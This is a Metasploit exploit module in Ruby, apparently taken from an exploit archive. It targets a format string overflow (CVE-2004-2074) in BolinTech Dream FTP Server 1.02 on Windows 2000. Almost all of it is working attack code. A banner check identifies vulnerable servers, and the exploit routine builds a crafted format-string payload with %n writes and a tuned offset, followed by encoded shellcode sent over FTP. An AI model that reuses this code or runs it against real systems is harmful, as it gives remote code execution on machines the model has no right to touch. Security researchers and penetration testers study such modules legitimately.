BolinTech Dream FTP Server 1.02 Format String

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/   
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'BolinTech Dream FTP Server 1.02 Format String',  
'Description' => %q{  
This module exploits a format string overflow in the BolinTech  
Dream FTP Server version 1.02. Based on the exploit by SkyLined.  
},  
'Author' => [ 'Patrick Webster <patrick[at]aushack.com>' ],  
'Arch' => [ ARCH_X86 ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2004-2074'],  
[ 'OSVDB', '4986'],  
[ 'BID', '9800'],  
[ 'URL', 'http://www.milw0rm.com/exploits/823'],  
],  
'Platform' => ['win'],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00\x0a\x0d",  
'StackAdjustment' => -3500,  
},  
'Targets' =>  
[  
# Patrick - Tested OK 2007/09/10 against w2ksp0, w2ksp4 en.  
[  
'Dream FTP Server v1.02 Universal',  
{  
'Offset' => 3957680, # 0x3c63ff-0x4f  
}  
],  
],  
'DisclosureDate' => 'Mar 03 2004',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(21),  
], self.class)  
end  
  
def check  
connect  
banner = sock.get(-1,3)  
disconnect  
if (banner =~ /Dream FTP Server/)  
return Exploit::CheckCode::Appears  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
sleep(0.25)  
sploit = "\xeb\x29"  
sploit << "%8x%8x%8x%8x%8x%8x%8x%8x%" + target['Offset'].to_s + "d%n%n"  
sploit << "@@@@@@@@" + payload.encoded  
sock.put(sploit + "\r\n")  
sleep(0.25)  
handler  
disconnect  
end  
  
end  
`